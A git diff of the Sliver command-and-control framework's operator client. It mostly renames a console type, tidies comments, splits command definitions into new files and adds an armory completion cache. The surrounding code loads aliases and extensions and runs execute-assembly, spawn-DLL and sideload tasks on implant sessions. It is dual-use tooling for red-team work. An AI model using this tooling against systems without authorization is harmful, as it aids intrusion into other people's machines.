Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesRemoveCmd(cmd, con, args) + }, + } + completers.NewCompsFor(aliasRemove).PositionalCompletion(AliasCompleter()) + aliasCmd.AddCommand(aliasRemove) + + return []*cobra.Command{aliasCmd} +} diff --git a/client/command/alias/install.go b/client/command/alias/install.go index e63ea0f374..5fef274d7f 100644 --- a/client/command/alias/install.go +++ b/client/command/alias/install.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// AliasesInstallCmd - Install an alias -func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// AliasesInstallCmd - Install an alias. +func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { aliasLocalPath := args[0] fi, err := os.Stat(aliasLocalPath) if os.IsNotExist(err) { @@ -48,8 +48,8 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } } -// Install an extension from a directory -func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) { +// Install an extension from a directory. +func installFromDir(aliasLocalPath string, con *console.SliverClient) { manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName)) if err != nil { con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) @@ -101,8 +101,8 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) { con.Printf("done!\n") } -// Install an extension from a .tar.gz file -func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string { +// Install an extension from a .tar.gz file. +func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverClient) *string { manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName)) if err != nil { con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err) @@ -153,7 +153,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl return &installPath } -func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error { +func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverClient) error { data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator)))) if err != nil { return err diff --git a/client/command/alias/load.go b/client/command/alias/load.go index 4b6237267b..672d9c8b5f 100644 --- a/client/command/alias/load.go +++ b/client/command/alias/load.go @@ -53,7 +53,7 @@ const ( ) var ( - // alias name -> manifest/command + // alias name -> manifest/command. loadedAliases = map[string]*loadedAlias{} defaultHostProc = map[string]string{ @@ -63,20 +63,20 @@ var ( } ) -// Ties the manifest struct to the command struct +// Ties the manifest struct to the command struct. type loadedAlias struct { Manifest *AliasManifest Command *cobra.Command } -// AliasFile - An OS/Arch specific file +// AliasFile - An OS/Arch specific file. type AliasFile struct { OS string `json:"os"` Arch string `json:"arch"` Path string `json:"path"` } -// AliasManifest - The manifest for an alias, contains metadata +// AliasManifest - The manifest for an alias, contains metadata. type AliasManifest struct { Name string `json:"name"` Version string `json:"version"` @@ -124,7 +124,7 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target } // AliasesLoadCmd - Locally load a alias into the Sliver shell. -func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { dirPath := args[0] // dirPath := ctx.Args.String("dir-path") alias, err := LoadAlias(dirPath, cmd.Root(), con) @@ -135,8 +135,8 @@ func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } } -// LoadAlias - Load an alias into the Sliver shell from a given directory -func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) { +// LoadAlias - Load an alias into the Sliver shell from a given directory. +func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) { // retrieve alias manifest var err error manifestPath, err = filepath.Abs(manifestPath) @@ -205,7 +205,7 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConso return aliasManifest, nil } -// ParseAliasManifest - Parse an alias manifest +// ParseAliasManifest - Parse an alias manifest. func ParseAliasManifest(data []byte) (*AliasManifest, error) { // parse it alias := &AliasManifest{} @@ -241,7 +241,7 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) { return alias, nil } -func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -380,7 +380,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async { - con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(executeAssemblyResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, executeAssemblyResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -388,7 +388,6 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con) }) - con.PrintAsyncResponse(executeAssemblyResp.Response) } else { PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con) } @@ -419,7 +418,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } if spawnDllResp.Response != nil && spawnDllResp.Response.Async { - con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(spawnDllResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, spawnDllResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -427,7 +426,6 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con) }) - con.PrintAsyncResponse(spawnDllResp.Response) } else { PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con) } @@ -459,7 +457,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } if sideloadResp.Response != nil && sideloadResp.Response.Async { - con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sideloadResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sideloadResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -467,33 +465,32 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con) }) - con.PrintAsyncResponse(sideloadResp.Response) } else { PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con) } } } -// PrintSpawnDLLOutput - Prints the output of a spawn dll command -func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) { +// PrintSpawnDLLOutput - Prints the output of a spawn dll command. +func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult()) if outFilePath != nil { - outFilePath.Write([]byte(spawnDllResp.GetResult())) + outFilePath.WriteString(spawnDllResp.GetResult()) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } -// PrintSideloadOutput - Prints the output of a sideload command -func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) { +// PrintSideloadOutput - Prints the output of a sideload command. +func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult()) if outFilePath != nil { - outFilePath.Write([]byte(sideloadResp.GetResult())) + outFilePath.WriteString(sideloadResp.GetResult()) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } -// PrintAssemblyOutput - Prints the output of an execute-assembly command -func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) { +// PrintAssemblyOutput - Prints the output of an execute-assembly command. +func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput())) if outFilePath != nil { outFilePath.Write(execAsmResp.GetOutput()) diff --git a/client/command/alias/remove.go b/client/command/alias/remove.go index 3a7fb7ab43..d84d1b168f 100644 --- a/client/command/alias/remove.go +++ b/client/command/alias/remove.go @@ -32,7 +32,7 @@ import ( ) // AliasesRemoveCmd - Locally load a alias into the Sliver shell. -func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") if name == "" { @@ -54,8 +54,8 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -// RemoveAliasByCommandName - Remove an alias by command name -func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error { +// RemoveAliasByCommandName - Remove an alias by command name. +func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error { if commandName == "" { return errors.New("command name is required") } diff --git a/client/command/armory/armory.go b/client/command/armory/armory.go index 14d55069f4..1306e738b3 100644 --- a/client/command/armory/armory.go +++ b/client/command/armory/armory.go @@ -27,7 +27,6 @@ import ( "time" "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" "github.com/spf13/cobra" "golang.org/x/term" @@ -39,7 +38,11 @@ import ( "github.com/bishopfox/sliver/server/cryptography/minisign" ) -// ArmoryIndex - Index JSON containing alias/extension/bundle information +const ( + armoryCacheFileName = "armory-cache.json" +) + +// ArmoryIndex - Index JSON containing alias/extension/bundle information. type ArmoryIndex struct { ArmoryConfig *assets.ArmoryConfig `json:"-"` Aliases []*ArmoryPackage `json:"aliases"` @@ -47,7 +50,7 @@ type ArmoryIndex struct { Bundles []*ArmoryBundle `json:"bundles"` } -// ArmoryPackage - JSON metadata for alias or extension +// ArmoryPackage - JSON metadata for alias or extension. type ArmoryPackage struct { Name string `json:"name"` CommandName string `json:"command_name"` @@ -57,13 +60,13 @@ type ArmoryPackage struct { IsAlias bool `json:"-"` } -// ArmoryBundle - A list of packages +// ArmoryBundle - A list of packages. type ArmoryBundle struct { Name string `json:"name"` Packages []string `json:"packages"` } -// ArmoryHTTPConfig - Configuration for armory HTTP client +// ArmoryHTTPConfig - Configuration for armory HTTP client. type ArmoryHTTPConfig struct { ArmoryConfig *assets.ArmoryConfig IgnoreCache bool @@ -92,20 +95,20 @@ type pkgCacheEntry struct { } var ( - // public key -> armoryCacheEntry + // public key -> armoryCacheEntry. indexCache = sync.Map{} - // public key -> armoryPkgCacheEntry + // public key -> armoryPkgCacheEntry. pkgCache = sync.Map{} - // cacheTime - How long to cache the index/pkg manifests + // cacheTime - How long to cache the index/pkg manifests. cacheTime = time.Hour - // This will kill a download if exceeded so needs to be large + // This will kill a download if exceeded so needs to be large. defaultTimeout = 15 * time.Minute ) -// ArmoryCmd - The main armory command -func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ArmoryCmd - The main armory command. +func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { armoriesConfig := assets.GetArmoriesConfig() con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig)) clientConfig := parseArmoryHTTPConfig(cmd) @@ -172,6 +175,12 @@ func refresh(clientConfig ArmoryHTTPConfig) { armoriesConfig := assets.GetArmoriesConfig() indexes := fetchIndexes(armoriesConfig, clientConfig) fetchPackageSignatures(indexes, clientConfig) + + // Save the list of bundles/exts/aliases on disk. + // This is only for completion purposes, so this + // does not include ANY cryptographic or remote + // information on the packages. + saveArmoryCompletionCache() } func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) { @@ -201,46 +210,8 @@ func bundlesInCache() []*ArmoryBundle { return bundles } -// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names -func AliasExtensionOrBundleCompleter() carapace.Action { - comps := func(ctx carapace.Context) carapace.Action { - var action carapace.Action - - results := []string{} - aliases, exts := packagesInCache() - bundles := bundlesInCache() - - for _, aliasPkg := range aliases { - results = append(results, aliasPkg.CommandName) - results = append(results, aliasPkg.Help) - } - aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx) - results = make([]string, 0) - - for _, extensionPkg := range exts { - results = append(results, extensionPkg.CommandName) - results = append(results, extensionPkg.Help) - } - extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx) - results = make([]string, 0) - - for _, bundle := range bundles { - results = append(results, bundle.Name) - } - bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx) - - return action.Invoke(ctx).Merge( - aliasesComps, - extentionComps, - bundleComps, - ).ToA() - } - - return carapace.ActionCallback(comps) -} - -// PrintArmoryPackages - Prints the armory packages -func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) { +// PrintArmoryPackages - Prints the armory packages. +func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { width = 1 @@ -249,6 +220,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Packages" + console.Normal) + settings.SetMaxTableSize(tw) urlMargin := 150 // Extra margin needed to show URL column @@ -330,11 +302,12 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte con.Printf("%s\n", tw.Render()) } -// PrintArmoryBundles - Prints the armory bundles -func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) { +// PrintArmoryBundles - Prints the armory bundles. +func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Bundles" + console.Normal) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Contains", @@ -397,7 +370,7 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig { } // fetch armory indexes, only returns indexes that were fetched successfully -// errors are still in the cache objects however and can be checked +// errors are still in the cache objects however and can be checked. func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex { wg := &sync.WaitGroup{} for _, armoryConfig := range armoryConfigs { diff --git a/client/command/armory/commands.go b/client/command/armory/commands.go new file mode 100644 index 0000000000..e14efb8fd8 --- /dev/null +++ b/client/command/armory/commands.go @@ -0,0 +1,73 @@ +package armory + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `armory` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + armoryCmd := &cobra.Command{ + Use: consts.ArmoryStr, + Short: "Automatically download and install extensions/aliases", + Long: help.GetHelpFor([]string{consts.ArmoryStr}), + Run: func(cmd *cobra.Command, args []string) { + ArmoryCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("connection", true, armoryCmd, func(f *pflag.FlagSet) { + f.BoolP("insecure", "I", false, "skip tls certificate validation") + f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") + f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh") + f.StringP("timeout", "t", "15m", "download timeout") + }) + completers.NewFlagCompsFor(armoryCmd, func(comp *carapace.ActionMap) { + (*comp)["proxy"] = completers.LocalProxyCompleter() + }) + + armoryInstallCmd := &cobra.Command{ + Use: consts.InstallStr, + Short: "Install an alias or extension", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ArmoryInstallCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armoryInstallCmd) + completers.NewCompsFor(armoryInstallCmd).PositionalCompletion( + AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"), + ) + + armoryUpdateCmd := &cobra.Command{ + Use: consts.UpdateStr, + Short: "Update installed an aliases and extensions", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}), + Run: func(cmd *cobra.Command, args []string) { + ArmoryUpdateCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armoryUpdateCmd) + + armorySearchCmd := &cobra.Command{ + Use: consts.SearchStr, + Short: "Search for aliases and extensions by name (regex)", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ArmorySearchCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armorySearchCmd) + completers.NewCompsFor(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) + + return []*cobra.Command{armoryCmd} +} diff --git a/client/command/armory/completion.go b/client/command/armory/completion.go new file mode 100644 index 0000000000..3097698cdc --- /dev/null +++ b/client/command/armory/completion.go @@ -0,0 +1,137 @@ +package armory + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "time" + + "github.com/rsteube/carapace" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/alias" + "github.com/bishopfox/sliver/client/command/extensions" +) + +// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names. +func AliasExtensionOrBundleCompleter() carapace.Action { + comps := func(ctx carapace.Context) carapace.Action { + var action carapace.Action + + results := []string{} + + // In-memory packages are newer. + aliases, exts := packagesInCache() + bundles := bundlesInCache() + + // Or load the cache from file if in-memory cache is empty. + // Inform user if the cache file is old (1 week or more). + if len(aliases)+len(exts)+len(bundles) == 0 { + filePath := filepath.Join(assets.GetRootAppDir(), armoryCacheFileName) + + info, err := os.Stat(filePath) + if err == nil { + mustUpdateCache := time.Since(info.ModTime()) > (24 * 7 * time.Hour) + if mustUpdateCache { + modTime := time.Since(info.ModTime()).Truncate(time.Hour) + action = carapace.ActionMessage("armory cache is %d old, `sliver armory update` recommended", modTime) + } + + aliases, exts, bundles, err = loadArmoryCompletionCache(filePath) + if err != nil { + return carapace.ActionMessage("failed to read armory file cache: %s", err) + } + } + } + + for _, aliasPkg := range aliases { + results = append(results, aliasPkg.CommandName) + results = append(results, aliasPkg.Help) + } + aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx) + results = make([]string, 0) + + for _, extensionPkg := range exts { + results = append(results, extensionPkg.CommandName) + results = append(results, extensionPkg.Help) + } + extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx) + results = make([]string, 0) + + for _, bundle := range bundles { + results = append(results, bundle.Name) + } + bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx) + + return action.Invoke(ctx).Merge( + aliasesComps, + extentionComps, + bundleComps, + ).ToA() + } + + return carapace.ActionCallback(comps) +} + +func saveArmoryCompletionCache() error { + aliases, exts := packagesInCache() + bundles := bundlesInCache() + + ArmoryCache := struct { + Aliases []*alias.AliasManifest + Extensions []*extensions.ExtensionManifest + Bundles []*ArmoryBundle + }{ + Aliases: aliases, + Extensions: exts, + Bundles: bundles, + } + + data, err := json.MarshalIndent(ArmoryCache, "", " ") + if err != nil { + return err + } + + filePath := filepath.Join(assets.GetRootAppDir(), armoryCacheFileName) + + return os.WriteFile(filePath, data, 0o600) +} + +func loadArmoryCompletionCache(filePath string) ([]*alias.AliasManifest, []*extensions.ExtensionManifest, []*ArmoryBundle, error) { + data, err := os.ReadFile(filePath) + if err != nil && os.IsNotExist(err) { + return nil, nil, nil, errors.New("no armory file cache") + } + + ArmoryCache := struct { + Aliases []*alias.AliasManifest + Extensions []*extensions.ExtensionManifest + Bundles []*ArmoryBundle + }{} + + err = json.Unmarshal(data, &ArmoryCache) + if err != nil { + return nil, nil, nil, err + } + + return ArmoryCache.Aliases, ArmoryCache.Extensions, ArmoryCache.Bundles, nil +} diff --git a/client/command/armory/install.go b/client/command/armory/install.go index 730b40ed34..9f5845da74 100644 --- a/client/command/armory/install.go +++ b/client/command/armory/install.go @@ -35,11 +35,11 @@ import ( "github.com/bishopfox/sliver/server/cryptography/minisign" ) -// ErrPackageNotFound - The package was not found +// ErrPackageNotFound - The package was not found. var ErrPackageNotFound = errors.New("package not found") -// ArmoryInstallCmd - The armory install command -func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ArmoryInstallCmd - The armory install command. +func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") if name == "" { @@ -77,7 +77,7 @@ func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args con.PrintErrorf("No package or bundle named '%s' was found", name) } -func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { for _, pkgName := range bundle.Packages { err := installPackageByName(pkgName, clientConfig, con) if err != nil { @@ -86,7 +86,7 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con } } -func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { aliases, extensions := packagesInCache() for _, alias := range aliases { if alias.CommandName == name || name == "all" { @@ -112,7 +112,7 @@ func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *conso return ErrPackageNotFound } -func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { err := installAliasPackageByName(alias.CommandName, clientConfig, con) if err != nil { con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err) @@ -120,7 +120,7 @@ func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con } } -func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) @@ -186,7 +186,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con * return nil } -func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { deps := make(map[string]struct{}) resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con) sliverMenu := con.App.Menu(constants.ImplantMenu) @@ -209,7 +209,7 @@ func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTP const maxDepDepth = 10 // Arbitrary recursive limit for dependencies -func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) @@ -242,7 +242,7 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con) } -func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) diff --git a/client/command/armory/parsers.go b/client/command/armory/parsers.go index d4ca08f921..147977368c 100644 --- a/client/command/armory/parsers.go +++ b/client/command/armory/parsers.go @@ -36,10 +36,10 @@ import ( "github.com/bishopfox/sliver/server/cryptography/minisign" ) -// ArmoryIndexParser - Generic interface to fetch armory indexes +// ArmoryIndexParser - Generic interface to fetch armory indexes. type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error) -// ArmoryPackageParser - Generic interface to fetch armory package manifests +// ArmoryPackageParser - Generic interface to fetch armory package manifests. type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error) var ( @@ -71,7 +71,7 @@ type armoryPkgResponse struct { // Default Parsers for Self-Hosted Armories // -// DefaultArmoryParser - Parse the armory index directly from the url +// DefaultArmoryParser - Parse the armory index directly from the url. func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey)) @@ -114,7 +114,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar return armoryIndex, nil } -// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url +// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url. func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey)) @@ -183,7 +183,7 @@ type GithubRelease struct { Assets []GithubAsset `json:"assets"` } -// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release +// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release. func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey)) @@ -245,7 +245,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig return armoryIndex, nil } -// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release +// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release. func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey)) @@ -298,7 +298,7 @@ func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg * // GitHub Parsers // -// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages +// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages. func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { latestTag, err := githubLatestTagParser(armoryPkg, clientConfig) if err != nil { @@ -341,7 +341,7 @@ func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, return sig, tarGz, nil } -// We need to intercept the 302 redirect to determine the latest version tag +// We need to intercept the 302 redirect to determine the latest version tag. func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) { client := httpClient(clientConfig) client.CheckRedirect = func(req *http.Request, via []*http.Request) error { diff --git a/client/command/armory/search.go b/client/command/armory/search.go index b20a8967c3..ce3fd743f7 100644 --- a/client/command/armory/search.go +++ b/client/command/armory/search.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ArmorySearchCmd - Search for packages by name -func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ArmorySearchCmd - Search for packages by name. +func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintInfof("Refreshing package cache ... ") clientConfig := parseArmoryHTTPConfig(cmd) refresh(clientConfig) diff --git a/client/command/armory/update.go b/client/command/armory/update.go index 76676355e9..c8eb114a10 100644 --- a/client/command/armory/update.go +++ b/client/command/armory/update.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ArmoryUpdateCmd - Update all installed extensions/aliases -func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ArmoryUpdateCmd - Update all installed extensions/aliases. +func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { 